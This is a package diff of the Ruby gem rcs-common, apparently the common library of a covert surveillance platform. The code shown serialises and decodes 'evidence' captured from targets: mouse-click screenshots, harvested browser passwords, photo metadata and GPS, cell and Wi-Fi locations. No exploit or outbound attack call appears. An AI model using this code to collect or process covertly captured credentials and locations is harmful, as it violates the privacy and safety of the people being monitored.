rcs-common 9.6.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
@@ -0,0 +1,62 @@
|
|
1
|
+
require 'rcs-common/evidence/common'
|
2
|
+
|
3
|
+
module RCS
|
4
|
+
|
5
|
+
module MouseEvidence
|
6
|
+
|
7
|
+
MOUSE_VERSION = 2009040201
|
8
|
+
|
9
|
+
def content
|
10
|
+
path = File.join(File.dirname(__FILE__), 'content', 'mouse', '00' + (rand(4) + 1).to_s + '.jpg')
|
11
|
+
File.open(path, 'rb') {|f| f.read }
|
12
|
+
end
|
13
|
+
|
14
|
+
def generate_content
|
15
|
+
[ content ]
|
16
|
+
end
|
17
|
+
|
18
|
+
def additional_header
|
19
|
+
process_name = 'Finder'.to_utf16le_binary
|
20
|
+
window_name = ''.to_utf16le_binary
|
21
|
+
x = 10
|
22
|
+
y = 20
|
23
|
+
width = 1280
|
24
|
+
height = 800
|
25
|
+
header = StringIO.new
|
26
|
+
header.write [MOUSE_VERSION, process_name.size, window_name.size, x, y, width, height].pack("I*")
|
27
|
+
header.write process_name
|
28
|
+
header.write window_name
|
29
|
+
|
30
|
+
header.string
|
31
|
+
end
|
32
|
+
|
33
|
+
def decode_additional_header(data)
|
34
|
+
raise EvidenceDeserializeError.new("incomplete MOUSE") if data.nil? or data.bytesize == 0
|
35
|
+
|
36
|
+
binary = StringIO.new data
|
37
|
+
|
38
|
+
version, process_name_len, window_name_len = binary.read(12).unpack('I*')
|
39
|
+
raise EvidenceDeserializeError.new("invalid log version for MOUSE") unless version == MOUSE_VERSION
|
40
|
+
|
41
|
+
x, y, width, height = binary.read(16).unpack('I*')
|
42
|
+
|
43
|
+
ret = Hash.new
|
44
|
+
ret[:data] = Hash.new if ret[:data].nil?
|
45
|
+
ret[:data][:program] = binary.read(process_name_len).utf16le_to_utf8
|
46
|
+
ret[:data][:window] = binary.read(window_name_len).utf16le_to_utf8
|
47
|
+
ret[:data][:x] = x
|
48
|
+
ret[:data][:y] = y
|
49
|
+
ret[:data][:resolution] = "#{width} x #{height}"
|
50
|
+
return ret
|
51
|
+
end
|
52
|
+
|
53
|
+
def decode_content(common_info, chunks)
|
54
|
+
info = Hash[common_info]
|
55
|
+
info[:data] = Hash.new if info[:data].nil?
|
56
|
+
info[:grid_content] = chunks.first
|
57
|
+
yield info if block_given?
|
58
|
+
:delete_raw
|
59
|
+
end
|
60
|
+
end
|
61
|
+
|
62
|
+
end # ::RCS
|
@@ -0,0 +1,60 @@
|
|
1
|
+
require 'rcs-common/evidence/common'
|
2
|
+
|
3
|
+
module RCS
|
4
|
+
|
5
|
+
module PasswordEvidence
|
6
|
+
|
7
|
+
ELEM_DELIMITER = 0xABADC0DE
|
8
|
+
|
9
|
+
def content
|
10
|
+
resource = ["MSN", "IExplorer", "Firefox"].sample.to_utf16le_binary_null
|
11
|
+
service = ["http://login.live.com", "http://www.google.com", "http://msn.live.it"].sample.to_utf16le_binary_null
|
12
|
+
user = ["ALoR", "test", "daniel", "naga"].sample.to_utf16le_binary_null
|
13
|
+
pass = ["secret", "mario1", "ht123456"].sample.to_utf16le_binary_null
|
14
|
+
content = StringIO.new
|
15
|
+
content.write resource
|
16
|
+
content.write user
|
17
|
+
content.write pass
|
18
|
+
content.write service
|
19
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
20
|
+
|
21
|
+
content.string
|
22
|
+
end
|
23
|
+
|
24
|
+
def generate_content
|
25
|
+
ret = Array.new
|
26
|
+
10.rand_times { ret << content() }
|
27
|
+
ret
|
28
|
+
end
|
29
|
+
|
30
|
+
def decode_content(common_info, chunks)
|
31
|
+
stream = StringIO.new chunks.join
|
32
|
+
|
33
|
+
until stream.eof?
|
34
|
+
info = Hash[common_info]
|
35
|
+
info[:data] = Hash.new if info[:data].nil?
|
36
|
+
info[:data][:program] = ''
|
37
|
+
info[:data][:service] = ''
|
38
|
+
info[:data][:user] = ''
|
39
|
+
info[:data][:pass] = ''
|
40
|
+
|
41
|
+
resource = stream.read_utf16le_string
|
42
|
+
info[:data][:program] = resource.utf16le_to_utf8 unless resource.nil?
|
43
|
+
user = stream.read_utf16le_string
|
44
|
+
info[:data][:user] = user.utf16le_to_utf8 unless user.nil?
|
45
|
+
pass = stream.read_utf16le_string
|
46
|
+
info[:data][:pass] = pass.utf16le_to_utf8 unless pass.nil?
|
47
|
+
service = stream.read_utf16le_string
|
48
|
+
info[:data][:service] = service.utf16le_to_utf8 unless service.nil?
|
49
|
+
|
50
|
+
delim = stream.read(4).unpack("L*").first
|
51
|
+
raise EvidenceDeserializeError.new("Malformed PASSWORD (missing delimiter)") unless delim == ELEM_DELIMITER
|
52
|
+
|
53
|
+
# this is not the real clone! redefined clone ...
|
54
|
+
yield info if block_given?
|
55
|
+
end
|
56
|
+
:delete_raw
|
57
|
+
end
|
58
|
+
end
|
59
|
+
|
60
|
+
end # ::RCS
|
@@ -0,0 +1,80 @@
|
|
1
|
+
require 'rcs-common/evidence/common'
|
2
|
+
|
3
|
+
module RCS
|
4
|
+
|
5
|
+
module PhotoEvidence
|
6
|
+
|
7
|
+
PHOTO_VERSION = 2015012601
|
8
|
+
|
9
|
+
def content
|
10
|
+
path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
|
11
|
+
File.open(path, 'rb') {|f| f.read }
|
12
|
+
end
|
13
|
+
|
14
|
+
def generate_content
|
15
|
+
[ content ]
|
16
|
+
end
|
17
|
+
|
18
|
+
def additional_header
|
19
|
+
header = StringIO.new
|
20
|
+
header.write [PHOTO_VERSION].pack("I")
|
21
|
+
|
22
|
+
data = {program: "iphoto",
|
23
|
+
time: Time.now.getutc.to_i,
|
24
|
+
path: "/Users/Target/Pictures/iPhoto Library/",
|
25
|
+
tags: [{name: 'ciccio', handle: '1234567890', type: 'facebook'}, {name: 'pasticcio', handle: '0987654321', type: 'facebook'}],
|
26
|
+
description: "my wonderful photo",
|
27
|
+
place: {lat: 45.0, lon: 9.1, r: 50},
|
28
|
+
device: '',
|
29
|
+
target: false
|
30
|
+
}
|
31
|
+
|
32
|
+
header.write data.to_json
|
33
|
+
|
34
|
+
header.string
|
35
|
+
end
|
36
|
+
|
37
|
+
def decode_additional_header(data)
|
38
|
+
raise EvidenceDeserializeError.new("incomplete PHOTO") if data.nil? or data.bytesize == 0
|
39
|
+
|
40
|
+
binary = StringIO.new data
|
41
|
+
|
42
|
+
version = binary.read(4).unpack("I").first
|
43
|
+
raise EvidenceDeserializeError.new("invalid log version for PHOTO") unless version == PHOTO_VERSION
|
44
|
+
|
45
|
+
ret = Hash.new
|
46
|
+
ret[:data] = Hash.new
|
47
|
+
|
48
|
+
data = JSON.parse(binary.read)
|
49
|
+
|
50
|
+
ret[:da] = data['time'] if data['time'] # override the date acquired
|
51
|
+
ret[:data][:program] = data['program']
|
52
|
+
ret[:data][:path] = data['path']
|
53
|
+
ret[:data][:desc] = data['description']
|
54
|
+
ret[:data][:device] = data['device']
|
55
|
+
ret[:data][:tags] = data['tags'] #.map {|x| x['name']}.join(", ")
|
56
|
+
if data['place']
|
57
|
+
ret[:data][:latitude] = data['place']['lat']
|
58
|
+
ret[:data][:longitude] = data['place']['lon']
|
59
|
+
ret[:data][:accuracy] = data['place']['r']
|
60
|
+
|
61
|
+
# Adds also a "position" array field to support mongoDB 2dSphere index
|
62
|
+
ret[:data][:position] = [ret[:data][:longitude], ret[:data][:latitude]]
|
63
|
+
end
|
64
|
+
|
65
|
+
# if the photo is taken from "my profile pictures"
|
66
|
+
ret[:data][:type] = :target if data['target']
|
67
|
+
|
68
|
+
return ret
|
69
|
+
end
|
70
|
+
|
71
|
+
def decode_content(common_info, chunks)
|
72
|
+
info = Hash[common_info]
|
73
|
+
info[:data] ||= Hash.new
|
74
|
+
info[:grid_content] = chunks.join
|
75
|
+
yield info if block_given?
|
76
|
+
:delete_raw
|
77
|
+
end
|
78
|
+
end
|
79
|
+
|
80
|
+
end # ::RCS
|
@@ -0,0 +1,303 @@
|
|
1
|
+
require 'rcs-common/evidence/common'
|
2
|
+
|
3
|
+
require 'digest/md5'
|
4
|
+
|
5
|
+
module RCS
|
6
|
+
|
7
|
+
module PositionEvidence
|
8
|
+
|
9
|
+
ELEM_DELIMITER = 0xABADC0DE
|
10
|
+
|
11
|
+
LOCATION_VERSION = 2010082401
|
12
|
+
LOCATION_GPS = 0x0001
|
13
|
+
LOCATION_GSM = 0x0002
|
14
|
+
LOCATION_WIFI = 0x0003
|
15
|
+
LOCATION_IP = 0x0004
|
16
|
+
LOCATION_CDMA = 0x0005
|
17
|
+
|
18
|
+
PLAIN_GPS = 0x00
|
19
|
+
CHECKIN_FACEBOOK = 0x01
|
20
|
+
|
21
|
+
def content
|
22
|
+
content = StringIO.new
|
23
|
+
|
24
|
+
case @loc_type
|
25
|
+
when LOCATION_GPS
|
26
|
+
content.write [@loc_type, 0, 0].pack('L*')
|
27
|
+
content.write Time.now.getutc.to_filetime.pack('L*')
|
28
|
+
content.write GPS_Position.struct(45.12345, 9.54321, rand(10..100), [0,1].sample, "This is my place")
|
29
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
30
|
+
|
31
|
+
when LOCATION_GSM
|
32
|
+
content.write [@loc_type, 0, 0].pack('L*')
|
33
|
+
content.write Time.now.getutc.to_filetime.pack('L*')
|
34
|
+
content.write CELL_Position.struct(222, 1, 61208, 528, -92, 0)
|
35
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
36
|
+
|
37
|
+
when LOCATION_WIFI
|
38
|
+
content.write ["\x00\x17\xC2\xF8\x9C\x60", "\x00\x25\xC9\xDF\xAB\xA7", "\x38\x22\x9D\xF7\x84\xF4"].sample
|
39
|
+
content.write [0, 0].pack('C*') # dummy for the C struck packing
|
40
|
+
content.write [4].pack('L')
|
41
|
+
content.write ["FASTWEB-1-0017C2F89C60", "ht-guest-wifi", "FASTWEB-1-38229DF784F4"].sample.ljust(32, "\x00")
|
42
|
+
content.write [rand(100) * -1].pack('l')
|
43
|
+
|
44
|
+
when LOCATION_IP
|
45
|
+
content.write ["8.8.8.8", "8.8.4.4", "4.2.2.2"].sample
|
46
|
+
end
|
47
|
+
|
48
|
+
content.string
|
49
|
+
end
|
50
|
+
|
51
|
+
def generate_content
|
52
|
+
ret = Array.new
|
53
|
+
@nstruct.times { ret << content() }
|
54
|
+
ret
|
55
|
+
end
|
56
|
+
|
57
|
+
def additional_header
|
58
|
+
@loc_type = [LOCATION_GPS, LOCATION_GSM, LOCATION_WIFI, LOCATION_IP].sample
|
59
|
+
#@loc_type = [LOCATION_GPS].sample
|
60
|
+
@nstruct = (@loc_type == LOCATION_IP) ? 1 : rand(5) + 1
|
61
|
+
header = StringIO.new
|
62
|
+
header.write [LOCATION_VERSION, @loc_type, @nstruct].pack("I*")
|
63
|
+
|
64
|
+
header.string
|
65
|
+
end
|
66
|
+
|
67
|
+
def decode_additional_header(data)
|
68
|
+
raise EvidenceDeserializeError.new("incomplete LOCATION") if data.nil? or data.size == 0
|
69
|
+
|
70
|
+
binary = StringIO.new data
|
71
|
+
|
72
|
+
version, type, number = binary.read(12).unpack("I*")
|
73
|
+
raise EvidenceDeserializeError.new("invalid log version for LOCATION") unless version == LOCATION_VERSION
|
74
|
+
|
75
|
+
ret = Hash.new
|
76
|
+
ret[:loc_type] = type
|
77
|
+
return ret
|
78
|
+
end
|
79
|
+
|
80
|
+
def decode_content(common_info, chunks)
|
81
|
+
stream = StringIO.new chunks.join
|
82
|
+
|
83
|
+
case common_info[:loc_type]
|
84
|
+
when LOCATION_WIFI
|
85
|
+
info = Hash[common_info]
|
86
|
+
info[:data] ||= Hash.new
|
87
|
+
info[:data][:type] = 'WIFI'
|
88
|
+
info[:data][:wifi] = []
|
89
|
+
until stream.eof?
|
90
|
+
# we have 6 byte of mac address
|
91
|
+
# and 2 of padding (using C struct is BAAAAD)
|
92
|
+
mac = stream.read 6
|
93
|
+
stream.read 2
|
94
|
+
|
95
|
+
len = stream.read(4).unpack('L').first
|
96
|
+
ssid = stream.read(len)
|
97
|
+
|
98
|
+
stream.read(32-len)
|
99
|
+
sig = stream.read(4).unpack('l').first
|
100
|
+
|
101
|
+
mac_s = "%02X:%02X:%02X:%02X:%02X:%02X" %
|
102
|
+
[mac[0].unpack('C').first,
|
103
|
+
mac[1].unpack('C').first,
|
104
|
+
mac[2].unpack('C').first,
|
105
|
+
mac[3].unpack('C').first,
|
106
|
+
mac[4].unpack('C').first,
|
107
|
+
mac[5].unpack('C').first]
|
108
|
+
|
109
|
+
info[:data][:wifi] << {:mac => mac_s, :sig => sig, :ssid => ssid}
|
110
|
+
end
|
111
|
+
yield info if block_given?
|
112
|
+
|
113
|
+
when LOCATION_IP
|
114
|
+
info = Hash[common_info]
|
115
|
+
info[:data] ||= Hash.new
|
116
|
+
info[:data][:type] = 'IPv4'
|
117
|
+
ip = stream.read_ascii_string
|
118
|
+
info[:data][:ip] = ip unless ip.nil?
|
119
|
+
yield info if block_given?
|
120
|
+
|
121
|
+
when LOCATION_GPS
|
122
|
+
until stream.eof?
|
123
|
+
info = Hash[common_info]
|
124
|
+
info[:data] ||= Hash.new
|
125
|
+
#info[:data][:type] = 'GPS'
|
126
|
+
type, size, version = stream.read(12).unpack('L*')
|
127
|
+
low, high = *stream.read(8).unpack('L*')
|
128
|
+
info[:da] = Time.from_filetime(high, low)
|
129
|
+
|
130
|
+
gps = GPS_Position.new
|
131
|
+
gps.read stream
|
132
|
+
info[:data][:latitude] = gps.latitude.to_f
|
133
|
+
info[:data][:longitude] = gps.longitude.to_f
|
134
|
+
info[:data][:accuracy] = gps.accuracy.to_i
|
135
|
+
info[:data][:type] = case (gps.flags.to_i)
|
136
|
+
when PLAIN_GPS
|
137
|
+
'GPS'
|
138
|
+
when CHECKIN_FACEBOOK
|
139
|
+
'FACEBOOK'
|
140
|
+
end
|
141
|
+
info[:data][:address] = {text: gps.checkin_name} if info[:data][:type] != 'GPS'
|
142
|
+
|
143
|
+
delim = stream.read(4).unpack('L').first
|
144
|
+
raise EvidenceDeserializeError.new("Malformed LOCATION GPS (missing delimiter)") unless delim == ELEM_DELIMITER
|
145
|
+
|
146
|
+
yield info if block_given?
|
147
|
+
end
|
148
|
+
|
149
|
+
when LOCATION_GSM, LOCATION_CDMA
|
150
|
+
until stream.eof?
|
151
|
+
info = Hash[common_info]
|
152
|
+
info[:data] ||= Hash.new
|
153
|
+
info[:data][:type] = (info[:loc_type] == LOCATION_GSM) ? 'GSM' : 'CDMA'
|
154
|
+
type, size, version = stream.read(12).unpack('L*')
|
155
|
+
low, high = *stream.read(8).unpack('L*')
|
156
|
+
info[:da] = Time.from_filetime(high, low)
|
157
|
+
cell = CELL_Position.new
|
158
|
+
cell.read stream
|
159
|
+
|
160
|
+
if info[:loc_type] == LOCATION_GSM then
|
161
|
+
info[:data][:cell] = {:mcc => cell.mcc, :mnc => cell.mnc, :lac => cell.lac, :cid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
|
162
|
+
else
|
163
|
+
info[:data][:cell] = {:mcc => cell.mcc, :sid => cell.mnc, :nid => cell.lac, :bid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
|
164
|
+
end
|
165
|
+
|
166
|
+
delim = stream.read(4).unpack('L').first
|
167
|
+
raise EvidenceDeserializeError.new("Malformed LOCATION CELL (missing delimiter)") unless delim == ELEM_DELIMITER
|
168
|
+
yield info if block_given?
|
169
|
+
end
|
170
|
+
else
|
171
|
+
raise EvidenceDeserializeError.new("Unsupported LOCATION type (#{info[:loc_type]})")
|
172
|
+
end
|
173
|
+
|
174
|
+
:delete_raw
|
175
|
+
end
|
176
|
+
end
|
177
|
+
|
178
|
+
class GPS_Position
|
179
|
+
|
180
|
+
attr_reader :latitude
|
181
|
+
attr_reader :longitude
|
182
|
+
attr_reader :accuracy
|
183
|
+
attr_reader :flags
|
184
|
+
attr_reader :checkin_name
|
185
|
+
|
186
|
+
def self.size
|
187
|
+
self.struct(0,0,0).bytesize
|
188
|
+
end
|
189
|
+
|
190
|
+
def self.struct(lat, long, accuracy, flags, name)
|
191
|
+
str = ''
|
192
|
+
str += [0].pack('l') # DWORD dwVersion; Current version of GPSID client is using.
|
193
|
+
str += [0].pack('l') # DWORD dwSize; sizeof(_GPS_POSITION)
|
194
|
+
str += [0].pack('l') # DWORD dwValidFields;
|
195
|
+
|
196
|
+
# abuse this flag to indicate social checkins
|
197
|
+
str += [flags].pack('l') # DWORD dwFlags;
|
198
|
+
|
199
|
+
str += Array.new(8,0).pack('s*') # SYSTEMTIME stUTCTime; UTC according to GPS clock.
|
200
|
+
|
201
|
+
str += [lat].pack('D') # double dblLatitude; // Degrees latitude. North is positive
|
202
|
+
str += [long].pack('D') # double dblLongitude; // Degrees longitude. East is positive
|
203
|
+
|
204
|
+
str += [0].pack('F') # float flSpeed; // Speed in knots
|
205
|
+
str += [0].pack('F') # float flHeading; // Degrees heading (course made good). True North=0
|
206
|
+
str += [0].pack('D') # double dblMagneticVariation; // Magnetic variation. East is positive
|
207
|
+
str += [0].pack('F') # float flAltitudeWRTSeaLevel; // Altitute with regards to sea level, in meters
|
208
|
+
str += [0].pack('F') # float flAltitudeWRTEllipsoid; // Altitude with regards to ellipsoid, in meters
|
209
|
+
|
210
|
+
str += [0].pack('l') # GPS_FIX_QUALITY FixQuality; // Where did we get fix from?
|
211
|
+
str += [0].pack('l') # GPS_FIX_TYPE FixType; // Is this 2d or 3d fix?
|
212
|
+
str += [0].pack('l') # GPS_FIX_SELECTION SelectionType; // Auto or manual selection between 2d or 3d mode
|
213
|
+
str += [0].pack('F') # float flPositionDilutionOfPrecision; // Position Dilution Of Precision
|
214
|
+
str += [accuracy].pack('F') # float flHorizontalDilutionOfPrecision; // Horizontal Dilution Of Precision
|
215
|
+
str += [0].pack('F') # float flVerticalDilutionOfPrecision; // Vertical Dilution Of Precision
|
216
|
+
|
217
|
+
#str += [1].pack('l') # DWORD dwSatelliteCount; // Number of satellites used in solution
|
218
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesUsedPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites used in the solution
|
219
|
+
#str += [0].pack('l') # DWORD dwSatellitesInView; // Number of satellites in view. From 0-GPS_MAX_SATELLITES
|
220
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites in view
|
221
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewElevation[GPS_MAX_SATELLITES]; // Elevation of each satellite in view
|
222
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewAzimuth[GPS_MAX_SATELLITES]; // Azimuth of each satellite in view
|
223
|
+
#str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES]; // Signal to noise ratio of each satellite in view
|
224
|
+
|
225
|
+
# we abuse this space to write the name of the checkin
|
226
|
+
str += name.to_utf16le_binary_null.ljust(248, "\x00")
|
227
|
+
|
228
|
+
return str
|
229
|
+
end
|
230
|
+
|
231
|
+
def read(stream)
|
232
|
+
stream.read(4*3)
|
233
|
+
@flags = stream.read(4).unpack('l').first
|
234
|
+
stream.read(8*2)
|
235
|
+
@latitude = stream.read(8).unpack('D').first
|
236
|
+
@longitude = stream.read(8).unpack('D').first
|
237
|
+
stream.read(2*4)
|
238
|
+
stream.read(8)
|
239
|
+
stream.read(2*4)
|
240
|
+
|
241
|
+
stream.read(3*4)
|
242
|
+
stream.read(4) # PDOP
|
243
|
+
@accuracy = stream.read(4).unpack('F').first # HDOP
|
244
|
+
stream.read(4) # VDOP
|
245
|
+
|
246
|
+
temp = stream.read(248)
|
247
|
+
name = StringIO.new(temp).read_utf16le_string
|
248
|
+
@checkin_name = name.utf16le_to_utf8 unless name.nil?
|
249
|
+
end
|
250
|
+
end
|
251
|
+
|
252
|
+
|
253
|
+
class CELL_Position
|
254
|
+
|
255
|
+
attr_reader :mcc, :mnc, :lac, :cid, :db, :adv
|
256
|
+
|
257
|
+
def self.size
|
258
|
+
self.struct(0,0,0,0,0,0).bytesize
|
259
|
+
end
|
260
|
+
|
261
|
+
def self.struct(mcc, mnc, lac, cid, db, adv)
|
262
|
+
str = ''
|
263
|
+
str += [0].pack('l') # DWORD cbSize; // @field structure size in bytes
|
264
|
+
str += [0].pack('l') # DWORD dwParams; // @field indicates valid parameters
|
265
|
+
str += [mcc].pack('l') # DWORD dwMobileCountryCode; // @field TBD
|
266
|
+
str += [mnc].pack('l') # DWORD dwMobileNetworkCode; // @field TBD
|
267
|
+
str += [lac].pack('l') # DWORD dwLocationAreaCode; // @field TBD
|
268
|
+
str += [cid].pack('l') # DWORD dwCellID; // @field TBD
|
269
|
+
str += [0].pack('l') # DWORD dwBaseStationID; // @field TBD
|
270
|
+
str += [0].pack('l') # DWORD dwBroadcastControlChannel; // @field TBD
|
271
|
+
str += [db].pack('l') # DWORD dwRxLevel; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
|
272
|
+
str += [0].pack('l') # DWORD dwRxLevelFull; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
|
273
|
+
str += [0].pack('l') # DWORD dwRxLevelSub; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
|
274
|
+
str += [0].pack('l') # DWORD dwRxQuality; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
|
275
|
+
str += [0].pack('l') # DWORD dwRxQualityFull; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
|
276
|
+
str += [0].pack('l') # DWORD dwRxQualitySub; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
|
277
|
+
str += [0].pack('l') # DWORD dwIdleTimeSlot; // @field TBD
|
278
|
+
str += [adv].pack('l') # DWORD dwTimingAdvance; // @field TBD
|
279
|
+
str += [0].pack('l') # DWORD dwGPRSCellID; // @field TBD
|
280
|
+
str += [0].pack('l') # DWORD dwGPRSBaseStationID; // @field TBD
|
281
|
+
str += [0].pack('l') # DWORD dwNumBCCH; // @field TBD
|
282
|
+
str += Array.new(48,0).pack('C*') # BYTE rgbBCCH[MAXLENGTH_BCCH]; // @field TBD
|
283
|
+
str += Array.new(16,0).pack('C*') # BYTE rgbNMR[MAXLENGTH_NMR]; // @field TBD
|
284
|
+
return str
|
285
|
+
end
|
286
|
+
|
287
|
+
def read(stream)
|
288
|
+
stream.read(2*4) #size/params
|
289
|
+
@mcc = stream.read(4).unpack('l').first
|
290
|
+
@mnc = stream.read(4).unpack('l').first
|
291
|
+
@lac = stream.read(4).unpack('l').first
|
292
|
+
@cid = stream.read(4).unpack('l').first
|
293
|
+
stream.read(2*4) # basestationid/broadcastcontrolchannel
|
294
|
+
@db = stream.read(4).unpack('l').first # rxlevel
|
295
|
+
stream.read(6*4) #rxlevelfull/rxlevelsub/rxquality/rxqualityfull/rxqualitysub/idletimeslot
|
296
|
+
@adv = stream.read(4).unpack('l').first # timingadvance
|
297
|
+
stream.read(3*4) # gprscellid / gprsbasestationid / dwnumbcch
|
298
|
+
stream.read(48+16) # BCCH[48] / NMR[16]
|
299
|
+
end
|
300
|
+
|
301
|
+
end
|
302
|
+
|
303
|
+
end # ::RCS
|